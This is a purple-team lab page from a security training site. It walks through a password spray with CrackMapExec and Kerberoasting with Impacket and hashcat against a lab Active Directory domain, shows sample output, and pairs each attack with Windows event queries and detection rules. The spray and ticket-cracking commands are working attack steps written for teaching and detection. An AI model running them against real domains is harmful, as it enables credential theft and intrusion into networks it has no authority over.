Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Security operations basics

Lab · Medium · 1.5 hoursFree account

Windows Attacks & Defense

Attack and detect common Windows attack patterns in a paired lab environment.

  • purple-team
  • active-directory
  • windows
  • detection
  • hardening
On this page 8 sections
  1. ·Lab Setup
  2. 1Password spray and detection
  3. 2Kerberoasting and detection
  4. Locked: DCSync-style replication and detection
  5. Locked: Apply hardening
  6. Locked: Build a detection summary
  7. Locked: Defence and Detection
  8. Locked: Check Your Work

Before you start

Purple-team work pairs an attacker's actions on Active Directory with the telemetry those actions leave behind. Password spray, Kerberoasting and DCSync remain common in real intrusions because many domains log them but few detect them. The exercise runs each attack against a small lab domain, reads the matching events, and builds detection rules and hardening that stop or slow them.

What You'll Learn

  • Execute a password spray against a domain controller and read the telemetry it produces
  • Perform Kerberoasting and identify the event that reveals it
  • Dump password hashes with a DCSync-style query and spot the replication event
  • Apply hardening that blocks or limits each attack
  • Build a detection rule from the attacker behaviour observed in each step

Lab Setup

A small Active Directory lab. All machines are yours.

MachineRoleDetails
DC-LAB01 (Windows Server 2019/2022)Domain controllerDomain lab.local. Advanced audit policy enabled for Logon, Account Logon, DS Access and Object Access. Sysmon with a public config.
WS-LAB01 (Windows 10/11)Attacker workstationDomain-joined as lab\attacker. Local admin. PowerShell 5.1.
Kali LinuxAttacker toolsImpacket 0.12.x, CrackMapExec or NetExec, hashcat 6.2.x.

Audit policy. On DC-LAB01, enable the subcategories that surface attack evidence:

auditpol /set /subcategory:"Logon" /failure:enable /success:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /failure:enable /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable

Create three test accounts in the domain:

New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword (ConvertTo-SecureString 'Summer2026!' -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_web" -SamAccountName svc_web -AccountPassword (ConvertTo-SecureString 'Welcome1' -AsPlainText -Force) -Enabled $true
Set-ADUser svc_web -ServicePrincipalNames @{Add='HTTP/web01.lab.local'}
New-ADUser -Name "helpdesk" -SamAccountName helpdesk -AccountPassword (ConvertTo-SecureString 'Password1' -AsPlainText -Force) -Enabled $true

svc_web has an SPN, which makes it Kerberoastable. helpdesk has a weak password for the spray.

Authorised scope only. Isolated lab network. Never on production.

Step 1: Password spray and detection

1

Spray weak passwords at the domain

A password spray tries one password against many accounts. It stays below lockout thresholds. The telemetry is a burst of event 4625 (failed logon) from one source.

From Kali, run a spray with CrackMapExec (or NetExec):

crackmapexec smb 10.10.10.10 -u users.txt -p 'Password1' -d lab.local

Where users.txt contains svc_backup, svc_web, helpdesk, administrator.

SMB         10.10.10.10    445    DC-LAB01    [*] Windows Server 2022 Build 20348 x64 (domain:lab.local)
SMB         10.10.10.10    445    DC-LAB01    [-] lab.local\svc_backup:Password1 STATUS_LOGON_FAILURE
SMB         10.10.10.10    445    DC-LAB01    [-] lab.local\svc_web:Password1 STATUS_LOGON_FAILURE
SMB         10.10.10.10    445    DC-LAB01    [+] lab.local\helpdesk:Password1
SMB         10.10.10.10    445    DC-LAB01    [-] lab.local\administrator:Password1 STATUS_LOGON_FAILURE

helpdesk matched. Now switch to the DC and find the evidence:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 10 |
  Select-Object TimeCreated,
    @{Name='Account'; Expression={$_.Properties[5].Value}},
    @{Name='Source'; Expression={$_.Properties[19].Value}},
    @{Name='Status'; Expression={$_.Properties[7].Value}}
TimeCreated          Account      Source        Status
-----------          -------      ------        ------
20/11/2026 10:10:03  administrator 10.10.10.50  0xC000006D
20/11/2026 10:10:02  svc_web      10.10.10.50  0xC000006D
20/11/2026 10:10:02  svc_backup   10.10.10.50  0xC000006D

Three failures from the same source IP within one second. Status 0xC000006D is "bad username or password". The successful logon for helpdesk appears as event 4624. This pair — a burst of 4625 followed by a 4624 from the same source — is the classic spray signature.

Detection rule: alert when more than 5 event-4625 entries share the same source IP within 60 seconds.

Step 2: Kerberoasting and detection

2

Request service tickets and crack them offline

Kerberoasting requests a Kerberos service ticket (TGS) for every account with an SPN. The ticket is encrypted with the account's password hash, so a weak password falls to offline cracking.

From Kali, use Impacket:

impacket-GetUserSPNs lab.local/helpdesk:'Password1' -dc-ip 10.10.10.10 -request -outputfile tgs.txt
ServicePrincipalName      Name      MemberOf  PasswordLastSet
------------------------  --------  --------  -------------------
HTTP/web01.lab.local      svc_web             2026-11-20 09:00:00

$krb5tgs$23$*svc_web$LAB.LOCAL$HTTP/web01.lab.local*$a1b2c3d4...

Crack the ticket with hashcat:

hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*svc_web$LAB.LOCAL$HTTP/web01.lab.local*$...:Welcome1

Session..........: hashcat
Status...........: Cracked

The password Welcome1 fell in seconds. On DC-LAB01, find the evidence:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} -MaxEvents 5 |
  Select-Object TimeCreated,
    @{Name='Account'; Expression={$_.Properties[0].Value}},
    @{Name='Service'; Expression={$_.Properties[2].Value}},
    @{Name='Encryption'; Expression={$_.Properties[5].Value}}
TimeCreated          Account          Service                   Encryption
-----------          -------          -------                   ----------
20/11/2026 10:15:04  helpdesk@LAB.LOCAL HTTP/web01.lab.local     0x17

Event 4769 records every TGS request. Encryption type 0x17 is RC4-HMAC. Modern Kerberos uses AES (0x12). A TGS request with RC4 for a service account is a strong Kerberoasting signal, because the attacker downgrades the encryption to get a crackable hash.

Detection rule: alert on event 4769 where encryption type is 0x17 and the requesting account is not the service account itself.

Sign in to continue

5 more sections are for signed-in members. It is free: sign in with Google.

Related

This lab is extra practice for the course Security operations basics. Do the lessons first.Open the course